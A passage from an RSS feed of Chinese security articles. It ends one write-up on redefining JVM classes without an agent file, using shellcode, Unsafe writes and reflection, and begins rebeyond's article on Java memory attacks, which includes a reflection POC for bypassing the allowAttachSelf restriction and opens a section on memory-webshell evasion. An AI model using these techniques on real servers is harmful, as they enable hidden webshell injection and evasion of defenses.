class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        errorOccurred = (errorCode != JVMTI_ERROR_NONE);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> ( errorOccurred ) {</span></code><code><span class="code-snippet_outer">                            createAndThrowThrowableFromJVMTIErrorCode(jnienv, errorCode);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>这个(*jvmtienv)-&gt;RedefineClasses调用，暂时没找到源码，在IDA中逆向的结果如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">__int64 __<span class="code-snippet__function">fastcall <span class="code-snippet__title">jvmti_RedefineClasses</span><span class="code-snippet__params">(JvmtiEnvBase *<span class="code-snippet__keyword">this</span>, JavaThread *a2, __int64 a3)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> v4; <span class="code-snippet__comment">// er15</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> v5; <span class="code-snippet__comment">// er12</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">void</span> *v7; <span class="code-snippet__comment">// rax</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">unsigned</span> __int64 v8; <span class="code-snippet__comment">// r14</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">unsigned</span> __int64 v9; <span class="code-snippet__comment">// rsi</span></span></code><code><span class="code-snippet_outer">  __int64 v10; <span class="code-snippet__comment">// rbx</span></span></code><code><span class="code-snippet_outer">  _QWORD *v11; <span class="code-snippet__comment">// rax</span></span></code><code><span class="code-snippet_outer">  _QWORD *v12; <span class="code-snippet__comment">// r13</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">signed</span> __int32 v13; <span class="code-snippet__comment">// [rsp+0h] [rbp-60h] BYREF</span></span></code><code><span class="code-snippet_outer">  CautiouslyPreserveExceptionMark *v14; <span class="code-snippet__comment">// [rsp+8h] [rbp-58h]</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> v15[<span class="code-snippet__number">40</span>]; <span class="code-snippet__comment">// [rsp+10h] [rbp-50h] BYREF</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  v4 = (<span class="code-snippet__keyword">int</span>)a2;</span></code><code><span class="code-snippet_outer">  v5 = <span class="code-snippet__number">112</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> ( JvmtiEnvBase::_phase == <span class="code-snippet__number">4</span> )</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    v7 = pthread_getspecific(ThreadLocalStorage::_thread_index);</span></code><code><span class="code-snippet_outer">    v8 = (<span class="code-snippet__keyword">unsigned</span> __int64)v7;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> ( v7 &amp;&amp; (*(<span class="code-snippet__keyword">unsigned</span> __int8 (__fastcall **)(<span class="code-snippet__keyword">void</span> *))(*(_QWORD *)v7 + <span class="code-snippet__number">40L</span>L))(v7) )</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      *(_DWORD *)(v8 + <span class="code-snippet__number">624</span>) = <span class="code-snippet__number">5</span>;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( os::_processor_count != <span class="code-snippet__number">1</span> || AssumeMP )</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ( UseMembar )</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span> ( os::_processor_count != <span class="code-snippet__number">1</span> || AssumeMP )</span></code><code><span class="code-snippet_outer">            _InterlockedAdd(&amp;v13, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          *(_DWORD *)((<span class="code-snippet__keyword">char</span> *)os::_mem_serialize_page</span></code><code><span class="code-snippet_outer">                    + ((<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span>)(v8 &gt;&gt; <span class="code-snippet__number">4</span>) &amp; (<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span>)os::_serialize_page_mask)) = <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( SafepointSynchronize::_state || (*(_DWORD *)(v8 + <span class="code-snippet__number">48</span>) &amp; <span class="code-snippet__number">0x30000000</span>) != <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">        JavaThread::check_safepoint_and_suspend_for_native_trans((JavaThread *)v8, a2);</span></code><code><span class="code-snippet_outer">      *(_DWORD *)(v8 + <span class="code-snippet__number">624</span>) = <span class="code-snippet__number">6</span>;</span></code><code><span class="code-snippet_outer">      v9 = v8;</span></code><code><span class="code-snippet_outer">      v5 = <span class="code-snippet__number">116</span>;</span></code><code><span class="code-snippet_outer">      v14 = (CautiouslyPreserveExceptionMark *)v15;</span></code><code><span class="code-snippet_outer">      CautiouslyPreserveExceptionMark::CautiouslyPreserveExceptionMark(</span></code><code><span class="code-snippet_outer">        (CautiouslyPreserveExceptionMark *)v15,</span></code><code><span class="code-snippet_outer">        (Thread *)v8);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> ( (<span class="code-snippet__keyword">unsigned</span> __int8)JvmtiEnvBase::is_valid(<span class="code-snippet__keyword">this</span>) )</span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        v5 = <span class="code-snippet__number">99</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> ( (*((_BYTE *)<span class="code-snippet__keyword">this</span> + <span class="code-snippet__number">361</span>) &amp; <span class="code-snippet__number">2</span>) != <span class="code-snippet__number">0</span> )   &lt;--- 这个位置校验不过，需要令它为<span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          v5 = <span class="code-snippet__number">103</span>;</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">if</span> ( v4 &gt;= <span class="code-snippet__number">0</span> )</span></code><code><span class="code-snippet_outer">          {</span></code><code><span class="code-snippet_outer">            v5 = <span class="code-snippet__number">100</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ( a3 )</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">              v9 = (<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span>)v4;</span></code><code><span class="code-snippet_outer">              v5 = JvmtiEnv::RedefineClasses(<span class="code-snippet__keyword">this</span>, (<span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span>)v4, a3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>因此需要用unsafe设置一下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">unsafe</span>.putByte(native_jvmtienv + <span class="code-snippet__number">361</span>, (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">2</span>);</span></code></pre></section><h2><span style="font-size: 24px;"><strong>测试</strong></span></h2><p>修改java.io.RandomAccessFile的getFD方法，插入打印语句</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>)</span> {</span></code><code><span class="code-snippet_outer">    ClassPool pool = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer">    CtClass string_clazz = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        string_clazz = pool.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;java.io.RandomAccessFile&#34;</span>);</span></code><code><span class="code-snippet_outer">        CtMethod method_getname = string_clazz.getDeclaredMethod(<span class="code-snippet__string">&#34;getFD&#34;</span>);</span></code><code><span class="code-snippet_outer">        method_getname.insertBefore(<span class="code-snippet__string">&#34;System.out.println(\&#34;hi, from java instrucment api\&#34;);&#34;</span>);</span></code><code><span class="code-snippet_outer">        string_clazz.writeFile(<span class="code-snippet__string">&#34;D:\\1.txt&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (NotFoundException e) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated catch block</span></span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (CannotCompileException e) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated catch block</span></span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// TODO Auto-generated catch block</span></span></code><code><span class="code-snippet_outer">        e.printStackTrace();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>从1.txt文件夹里读取类的字节码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    Class&lt;?&gt; instrument_clazz = Class.forName(<span class="code-snippet__string">&#34;sun.instrument.InstrumentationImpl&#34;</span>);</span></code><code><span class="code-snippet_outer">    Constructor&lt;?&gt; <span class="code-snippet__keyword">constructor</span> = instrument_clazz.getDeclaredConstructor(<span class="code-snippet__params">long.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__built_in">boolean</span>.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__built_in">boolean</span>.<span class="code-snippet__keyword">class</span></span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">constructor</span>.setAccessible(<span class="code-snippet__params"><span class="code-snippet__literal">true</span></span>);</span></code><code><span class="code-snippet_outer">    Object inst = <span class="code-snippet__keyword">constructor</span>.newInstance(<span class="code-snippet__params">JPLISAgent, <span class="code-snippet__literal">true</span>, <span class="code-snippet__literal">false</span></span>);</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    //修改过的java.io.RandomAccessFile</span></code><code><span class="code-snippet_outer">    byte hexData[] = {</span></code><code><span class="code-snippet_outer">            ... //太长省略 </span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    ClassDefinition definition = new ClassDefinition(<span class="code-snippet__params">Class.forName(<span class="code-snippet__string">&#34;java.io.RandomAccessFile&#34;</span>), hexData</span>);</span></code><code><span class="code-snippet_outer">    Method redefineClazz = instrument_clazz.getMethod(<span class="code-snippet__params">&#34;redefineClasses&#34;, ClassDefinition[].<span class="code-snippet__keyword">class</span></span>);</span></code><code><span class="code-snippet_outer">    redefineClazz.invoke(<span class="code-snippet__params">inst, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[] {</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">new</span> ClassDefinition[] {</span></code><code><span class="code-snippet_outer">                    definition</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">            }</span>);</span></code><code><span class="code-snippet_outer">}catch(<span class="code-snippet__params">Exception e</span>) {</span></code><code><span class="code-snippet_outer">    System.out.println(<span class="code-snippet__params">&#34;Exception: &#34; + e.getMessage()</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">fout.getFD(<span class="code-snippet__params"></span>);</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>正确输出结果</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">Java_java_io_RandomAccessFile_length</span> <span class="code-snippet__string">0x7fd720689e40</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">JNI_GetCreatedJavaVMs</span> <span class="code-snippet__string">0x7fd72172f650</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">native_jvmtienv</span> <span class="code-snippet__string">7fd71c0e71d0</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">hi,</span> <span class="code-snippet__string">from java instrucment api</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>完整代码请参考：<a href="https://github.com/bigBestWay/ice" target="_blank">https://github.com/bigBestWay/ice</a></p><h2><span style="font-size: 24px;"><strong>结语</strong></span></h2><p>要在不提供agent文件的条件下完成Java Instrument，有如下步骤：</p><ol class="list-paddingleft-2"><li><p>解析ELF，得到Java_java_io_RandomAccessFile_length和JNI_GetCreatedJavaVMs</p></li><li><p>生成利用JNI_GetCreatedJavaVMs获取jvmtienv指针的shellcode</p></li><li><p>在Java_java_io_RandomAccessFile_length放置shellcode并调用</p></li><li><p>恢复Java_java_io_RandomAccessFile_length代码</p></li><li><p>利用unsafe伪造agent实例</p></li><li><p>利用反射实例化sun.instrument.InstrumentationImpl</p></li><li><p>使用此对象修改类</p></li></ol><h2><span style="font-size: 24px;"><strong>参考</strong></span></h2><p>rebeyond 《Java内存攻击技术漫谈》<br/><a href="https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484636&amp;idx=1&amp;sn=c49e90b3ff68b7811e4151ba54317190&amp;scene=21#wechat_redirect" data-linktype="2"><a href="https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw" target="_blank">https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw</a></a></p><p><br/></p>



<p><a href="2247484640">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5b83e24c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484640%26idx%3D1%26sn%3D7f878b612292a10f89c047ad8e3a20fe%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Sep 2021 12:05:00 +0800</pubDate>
    </item>
    <item>
      <title>Java内存攻击技术漫谈</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484636&amp;idx=1&amp;sn=c49e90b3ff68b7811e4151ba54317190</link>
      <description>前言Java技术栈漏洞目前业已是web安全领域的主流战场，随着IPS、RASP等防御系统的更新迭代，Java</description>
      <content:encoded><![CDATA[<p>
原创 <span>rebeyond</span> <span>2021-08-17 20:14</span> <span style="display: inline-block;"></span>
</p>

<p>前言Java技术栈漏洞目前业已是web安全领域的主流战场，随着IPS、RASP等防御系统的更新迭代，Java</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b56342ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0QtD2VKNpJvIdzYoUEplKIBG5oBia3lwMMyibicCib5ZTu8kx7JqTFYtlbg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">前言</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">Java技术栈漏洞目前业已是web安全领域的主流战场，随着IPS、RASP等防御系统的更新迭代，Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上，我分享了《Java内存攻击技术漫谈》的议题，个人觉得PPT承载的信息比较离散，技术类的内容还是更适合用文章的形式来分享，所以一直想着抽时间写一篇和议题配套的文章，不巧赶上南京的新冠疫情，这篇文章拖了一个多月才有时间写。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">allowAttachSelf绕过</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">Java的instrument是Java内存攻击常用的一种机制，instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能，比如通过instrument动态注入内存马。但是在Java9及以后的版本中，默认不允许SelfAttach：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">Attach API cannot be used to attach to the current VM by default </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This <span class="code-snippet__keyword">change</span> should have <span class="code-snippet__keyword">no</span> impact <span class="code-snippet__keyword">on</span> tools that <span class="code-snippet__keyword">use</span> the Attach API <span class="code-snippet__keyword">to</span> attach <span class="code-snippet__keyword">to</span> a running VM. It may impact libraries that misuse this API <span class="code-snippet__keyword">as</span> a way <span class="code-snippet__keyword">to</span> <span class="code-snippet__keyword">get</span> <span class="code-snippet__keyword">at</span> the java.lang.instrument API. The <span class="code-snippet__keyword">system</span> property jdk.attach.allowAttachSelf may be <span class="code-snippet__keyword">set</span> <span class="code-snippet__keyword">on</span> the command line <span class="code-snippet__keyword">to</span> mitigate <span class="code-snippet__keyword">any</span> <span class="code-snippet__keyword">compatibility</span> <span class="code-snippet__keyword">with</span> this change.</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">也就是说，系统提供了一个jdk.attach.allowAttachSelf的VM参数，这个参数默认为false，且必须在Java启动时指定才生效。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编写一个demo尝试attach自身PID，提示Can not attach to current VM，如下：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.21085858585858586" style="box-sizing: border-box;" data-type="png" data-w="792" src="https://wechat2rss.xlab.app/img-proxy/?k=de7ff715&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0Y1uLnSviabQm26icr8ROhBDaibygoOtsmLOgNN5xfMLUUI6BO9zc98Hng%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">经过分析attch API的执行流程，定位到如下代码：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.9315068493150684" style="box-sizing: border-box;display: inline;" data-type="png" data-w="949" src="https://wechat2rss.xlab.app/img-proxy/?k=9e0e1330&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0LfibtSlCkibibWo0daUTaOT4dHq79RQo485IpDwnMSHRtdDKGIT2gxcPg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">由上图可见，attach的时候会创建一个HotSpotVirtualMachine的父类，这个类在初始化的时候会去获取VM的启动参数，并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中，恰好这个属性是个静态属性，所以我们可以通过反射动态修改这个属性的值。构造如下POC：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">    Class cls=Class.forName(<span class="code-snippet__string">&#34;sun.tools.attach.HotSpotVirtualMachine&#34;</span>);</span></code><code><span class="code-snippet_outer">    Field field=cls.getDeclaredField(<span class="code-snippet__string">&#34;ALLOW_ATTACH_SELF&#34;</span>);</span></code><code><span class="code-snippet_outer">    field.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">    Field modifiersField=Field.<span class="code-snippet__keyword">class</span>.getDeclaredField(<span class="code-snippet__string">&#34;modifiers&#34;</span>);</span></code><code><span class="code-snippet_outer">    modifiersField.setInt(field,field.getModifiers()&amp;~Modifier.FINAL);</span></code><code><span class="code-snippet_outer">    field.setBoolean(<span class="code-snippet__literal">null</span>,<span class="code-snippet__literal">true</span>);</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">由于ALLOW_ATTACH_SELF字段有final修饰符，所以在修改ALLOW_ATTACH_SELF值的同时，也需要把它的final修饰符给去掉（修改的时候，会有告警产提示，不影响最终效果，可以忽略）。修改后，可以成功attach到自身进程，如下图：</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.34629629629629627" style="box-sizing: border-box;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=092575f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP00tKq9NfCTT9SMsubP5icSRvmibDoXpYed7acfCwAYCQHY2X77HtajAXw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-ratio="0.3435185185185185" style="box-sizing: border-box;display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=021a4136&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0m1TQjlzZKFX3W7O3y4EIiaHicicoHJ2CqV4Wc0hBn8VWgAic8FR4TDcN0A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">这样，我们就成功绕过了allowAttachSelf的限制。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">内存马防检测</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">随着攻防热度的升级，内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类：</p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>Agent型<br style="box-sizing: border-box;"/>利用instrument机制，在不增加新类和新方法的情况下，对现有类的执行逻辑进行修改。JVM层注入，通用性强。</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">•</span>非Agent型<br style="box-sizing: border-box;"/>通过新增一些Java web组件（如Servlet、Filter、Listener、Controller等）来实现拦截请求，从而注入木马代码，对目标容器环境有较强的依赖性，通用性较弱。</span></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">由于内存马技术的火热，内存马的检测也如火如荼，针对内存马的检测，目前业界主要有两种方法：<span style="text-indent: -20px;"></span></p><p style="box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;line-height: 